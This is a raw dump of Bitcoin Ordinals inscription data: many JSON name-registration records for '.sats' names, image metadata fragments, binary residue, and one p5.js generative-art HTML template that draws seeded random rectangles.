.{"p":"sns","op":"reg","name":"Coingecko.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"Nytimes.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"xxc.sats"}h!
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"influencer.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"ths.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0409.sats"}h!
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"Ukraine.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5680.sats"}h!
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"LALakers.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"yibai.sats"}h!
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDO
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"Discord.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"Futball.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"laa.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"Satoshi.sats"}h!
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"ttc.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"1011.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"Coke.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"xxf.sats"}h!
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"opensky.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0906.sats"}h!
text/plain;charset=utf-8
uiCCPkCGColorSpaceDisplayP3
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"Olympics.sats"}h!
text/plain;charset=utf-8
  "name": "shit.sats"
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"qqqq.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0507.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"ansh.sats"}h!
text/plain;charset=utf-8
  "name": "poopie.sats"
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"95518.sats"}h!
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"Sex.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"aan.sats"}h!
&iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:BA9EFDDAB8B911EDAABDC09M
8AC70C6C0" xmpMM:InstanceID="xmp.iid:BA9EFDD9B8B911EDAABDC098AC70C6C0" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:437B78BDAD0311EDBBD2D25A6858E538" stRef:documentID="xmp.did:437B78BEAD0311EDBBD2D25A6858E538"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0410.sats"}h!
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"faa.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"suger.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"otte.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"02520.sats"}h!
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
iTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:exif="http://ns.adobe.com/exif/1.0/">
         <exif:PixelYDimension>634</exif:PixelYDimension>
         <exif:PixelXDimension>632</exif:PixelXDimension>
         <exif:UserComment>Screenshot</exif:UserComment>
      </rdf:Description>
uiCCPkCGColorSpaceDisplayP3
uiCCPkCGColorSpaceDisplayP3
uiCCPkCGColorSpaceDisplayP3
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"95599.sats"}h!
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
6{"p":"sns","op":"reg","name":"Wallstreetjournal.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"waa.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"timestamp.sats"}h!
uiCCPkCGColorSpaceDisplayP3
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"17888.sats"}h!
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0801.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"gtc.sats"}h!
2023-03-02T11:29:16+00:00Z
2023-03-02T11:29:16+00:00+
iTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:exif="http://ns.adobe.com/exif/1.0/">
         <exif:PixelYDimension>636</exif:PixelYDimension>
         <exif:PixelXDimension>630</exif:PixelXDimension>
         <exif:UserComment>Screenshot</exif:UserComment>
      </rdf:Description>
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"Godislove.sats"}h!
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0703.sats"}h!
uiCCPkCGColorSpaceDisplayP3
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0907.sats"}h!
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"Tigerwoods.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"Realdeal.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"Dallas.sats"}h!
/ViaBTC/Mined by mow1/,
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"starton.sats"}h!
text/plain;charset=utf-8
  "name": "coindesk.sats"
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"14500.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11451.sats"}h!
text/plain;charset=utf-8
&{"p":"sns","op":"reg","name":"A.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11454.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"888ETH.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"flag.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"14514.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"99912.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"88812.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"99923.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"77701.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"99978.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"88823.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"99967.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"88801.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"99956.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"77723.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"999ETH.sats"}h!
text/plain;charset=utf-8
3{"p":"sns","op":"reg","name":"9
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.b0f8be90, 2021/12/15-21:25:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xapM
/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 23.2 (Macintosh)" xmp:CreateDate="2023-02-16T14:40:24-08:00" xmp:ModifyDate="2023-02-16T17:49:29-08:00" xmp:MetadataDate="2023-02-16T17:49:29-08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:90805647-2e0c-4774-8f2b-fcbf36ad5fbc" xmpMM:DocumentID="adobe:docid:photoshop:090b92a6-148d-9549-bfb9-af708002b424" xmpMM:OriginalDocumentID="xmp.did:96330eed-6028-4041-88d3-c6fc832b8070"> <xmpM
MM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:96330eed-6028-4041-88d3-c6fc832b8070" stEvt:when="2023-02-16T14:40:24-08:00" stEvt:softwareAgent="Adobe Photoshop 23.2 (Macintosh)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:cc04d87b-01e6-47e3-bc5a-4416dbf6e7c0" stEvt:when="2023-02-16T16:20:08-08:00" stEvt:softwareAgent="Adobe Photoshop 23.2 (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:90805647-2e0c-4774-8f2b-fcbf36ad5fbc" stEvt:wM
hen="2023-02-16T17:49:29-08:00" stEvt:softwareAgent="Adobe Photoshop 23.2 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>&
text/plain;charset=utf-8
  "name": "alty.sats"
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"888888888.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0786.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0337.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0339.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0332.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0338.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0780.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0360.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0336.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10005.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10029.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10025.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10018.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10032.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10012.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10026.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10031.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10020.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10035.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10014.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10016.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10027.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10033.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10024.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10017.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10028.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10019.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10023.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10022.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10015.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10021.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10030.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10036.sats"}h!
FjDOUT:668E5F057E84778E6FABAFE270634BCB2651F73B02AAFED177BB170BEBFCDA88
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYM
text/html;charset=utf-8
    <meta charset="UTF-8">
    <title>A simple template for launching your art on Bitcoin</title>
    Generative supports the most popular creative coding libraries. Simply uncomment the library you want to use below.
    Are we missing an important library? Let us know @generative_xyz.
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script>
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/c2/1.0.0/c2.min.js"></script>
    <!-- chromajs@2.4.2
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script>
    <!-- p5.grain.js@0.6.1
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script>
    <!-- threejs@r124
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r124/three.min.js"></script>
    <!-- tonejs@14.8.49
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script>
    <!-- svgjs@3.1.2
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/svg.js/3.1.2/svg.min.js"></script>
    <!-- aframejs@1.2.0
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/aframe/1.2.0/aframe.min.js"></script>
    <!-- babylonjs@5.47.0
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/babylonjs/5.47.0/babylon.js"></script>
    <!-- paperjs@0.12.17
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/paper.js/0.12.17/paper-full.minM
    <!-- regljs@2.1.0
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/regl/2.1.0/regl.min.js"></script>
    <script type="text/javascript">
 Add your script here
 Add your script here
    <script id="snippet-random-code" type="text/javascript">
        // DO NOT EDIT THIS SECTION
        let seed = window.location.href.split('/').find(t => t.includes('i0'));
        if (seed == null) {
            const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
            seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
            let pattern =M
            for (let i = 0; i < seed.length - pattern.length; ++i) {
                if (seed.substring(i, i + pattern.length) == pattern) {
                    seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ M
Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
            return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
                u >>>= 0, i >>>= 0;
                var l = ($ >>>= 0) + (_ >M
                return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
        // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation.
        // This function generates a random number between 0 and 1 with on-chain seed.
        let mathRand = sfc32(...cyrb128(seed));
            margin: 0px;
<script type="text/javascript">
    const rand = mathRand();
    function T1(rand) {
        // calculate rarity by yourself
        if (rand > 0.5) {
            return true;
            return false
col =  ["#20C2CA", "#16C96E", "#C94434", "#2A6EC9", "#F2C12E", "#F2AE30", "#024959", "#593E25", "#951F4F", "#951F4F", "#FM
col2 =  ["#FF6580", "#89D9D1", "#8FBABF", "#BFBFBF", "#FEF8B4", "#F23005", "#025159", "#0F3566"]
col3 =  ["#D92D07", "#333745", "#032CA6", "#F2B705", "#222C40", "#1A0859", "#4146A6", "#1A804D"]
col4 =  ["#ffffff", "#F2C2E1", "#F2DF80", "#8BD9D9", "#ED83A4", "#BACDD9", "#080A05", "#F20505"]
bgcol = ["#F2F7EE", "#EBF2E8", "#F1F2C4", "#CEECF2", "#F2F0CE", "#E9EEE4", "#E6FFFA"]
	createCanvas(1600,1600);
	background(random(bgcol));
	c = col[Math.floor(mathRandM
	c2 = col2[Math.floor(mathRand()*col2.length)];
	head = Math.floor(mathRand()*6)+1;
	feets = Math.floor(mathRand()*6)+1;
	caps = Math.floor(mathRand()*6)+1;
	rect(600,800,100,400)
	rect(500,1000,100,100)
	rect(700,900,100,100)
	rect(800,1100,100,100)
	rect(900,900,100,100)
	rect(600,500,400,100)
	rect(600,600,100,100)
	rect(600,700,400,100)
	rect(1000,600,100,200)
	rect(800,600,100,100)
	rect(700,800,100,100)
	rect(700,1000,100,100)
	fill(col4[Math.floor(mathRand()*col4.length)])
	rect(700,600,100,100)
	rect(900,600,100,100)
	fill(col3[Math.floor(mathRand()*col3.length)])
	rect(500,900,100,100)
	rect(500,700,100,100)
	rect(500,500,100,100)
	rect(600,400,100,100)
	rect(800,400,100,100)
  rect(600,500,400,100)
	rect(600,600,100,100)
	rect(1000,600,100,100)
	rect(600,600,100,100)
	rect(800,600,100,100)
	rect(1000,600,100,100)
	rect(700,600,300,100)
	fill(189, 191, 191)
	rect(600,500,400,100)
	rect(600,600,100,100)
	rect(800,600,100,100)
	rect(1000,600,100,100)
	rect(700,700,100,100)
	rect(900,700,100,100)
	rect(1100,700,100,100)
	rect(600,800,100,400)
	rect(500,1000,100,100)
	rect(700,900,100,100)
	rect(800,1100,100,100)
	rect(900,900,100,100)
	rect(600,500,400,100)
	rect(600,600,100,100)
	rect(600,700,400,100)
	rect(1000,600,100,200)
	rect(800,600,100,100)
	rect(700,600,1000,100)
	rect(500,1200,500,100)
	rect(400,1100,100,100)
	fill(223, 223, 223)
	rect(600,1300,100,100)
	rect(800,1300,100,100)
	rect(500,1300,400,100)
	fill(223, 223, 223)
	rect(0,1200,400,100)
	rect(0,900,100,300)
	rect(100,1300,100,100)
	rect(200,1100,100,100)
	rect(300,1300,100,100)
	rect(100,1000,100,100)
	rect(600,1200,100,100)
	rect(800,1200,100,100)
	fill(223, 223, 223)
	rect(700,1200,100,100)
	rect(400,1200,200,100)
	rect(300,1100,200,1M
	rect(200,1000,200,100)
	rect(100,900,200,100)
	rect(100,800,100,100)
	rect(200,1200,100,100)
	rect(100,1100,100,100)
	rect(800,800,100,300)
	rect(700,800,100,100)
	rect(700,1000,100,100)
	rect(500,400,500,100)
	rect(700,300,300,100)
	rect(600,400,500,100)
	rect(600,300,300,100)
	rect(600,400,400,100)
	rect(700,300,200,100)
	rect(500,400,500,100)
	rect(500,300,100,100)
	rect(700,300,100,100)
	rect(900,300,100,100)
	rect(600,500,400,100)
	rect(500,600,100,100)
	rect(800,800,100,300)
	rect(700,800,100,100)
	rect(700,1000,100,100)
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
iTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:exif="http://ns.adobe.com/exif/1.0/">
         <exif:PixelYDimension>638</exif:PixelYDimension>
         <exif:PixelXDimension>632</exif:PixelXDimension>
         <exif:UserComment>Screenshot</exif:UserComment>
      </rdf:Description>
urn:mpeg:mpegB:cicp:systems:auxiliary:alpha
iTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:exif="http://ns.adobe.com/exif/1.0/">
         <exif:PixelYDimension>636</exif:PixelYDimension>
         <exif:PixelXDimension>630</exif:PixelXDimension>
         <exif:UserComment>Screenshot</exif:UserComment>
      </rdf:Description>
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0808.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"mimi.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"2345.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0809.sats"}h!
text/plain;charset=utf-8
  "name": "eatme.sats"
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"God.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"daa.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0701.sats"}h!
uiCCPkCGColorSpaceDisplayP3
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"kaiwen.sats"}h!
2023-03-02T08:00:05+00:00
2023-03-02T08:00:05+00:00ht,
2023-03-02T08:00:06+00:00
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"Christmas.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"zkbtc.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"ntn.sats"}h!
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"tigers.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"haus.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0419.sats"}h!
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
uiCCPkCGColorSpaceDisplayP3
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"aaq.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0902.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"Warriors.sats"}h!
text/plain;charset=utf-8
  "name": "schenk.sats"
d/Foundry USA Pool #dropgold/
text/plain;charset=utf-8
  "name": "hello2023.sats"
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"8BTC.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6BTC.sats"}h!
text/plain;charset=utf-8
  "name": "altbtc.sats"
text/plain;charset=utf-8
text/plain;charset=utf-8
  "name": "06960.sats"
text/plain;charset=utf-8
'{"p":"sns","op":"reg","name":"*2.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"*10.sats"}h!
text/plain;charset=utf-8
'{"p":"sns","op":"reg","name":"*3.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10037.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10034.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10047.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10050.sats"}h!
text/plain;charset=utf-8
'{"p":"sns","op":"reg","name":"*5.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10048.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10046.sats"}h!
text/plain;charset=utf-8
'{"p":"sns","op":"reg","name":"*9.sats"}h!
text/plain;charset=utf-8
  "name": "Wolf.sats"
text/plain;charset=utf-8
'{"p":"sns","op":"reg","name":"*7.sats"}h!
text/plain;charset=utf-8
'{"p":"sns","op":"reg","name":"*6.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10039.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10038.sats"}h!
text/plain;charset=utf-8
'{"p":"sns","op":"reg","name":"*4.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10053.sats"}h!
text/plain;charset=utf-8
'{"p":"sns","op":"reg","name":"*8.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
  "name": "xrey.sats"
-http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.dabacbb, 2021/04/14-00:39:44        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotoshoM
p 23.0 (Windows)" xmpMM:InstanceID="xmp.iid:BD4B43BCB23E11ED812F8D09451E17E5" xmpMM:DocumentID="xmp.did:BD4B43BDB23E11ED812F8D09451E17E5"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BD4B43BAB23E11ED812F8D09451E17E5" stRef:documentID="xmp.did:BD4B43BBB23E11ED812F8D09451E17E5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
)A&&AB///BG?>>?GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
))4&4?((?G?5?GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
 THE ROLLING STONES
text/plain;charset=utf-8
text/plain;charset=utf-8
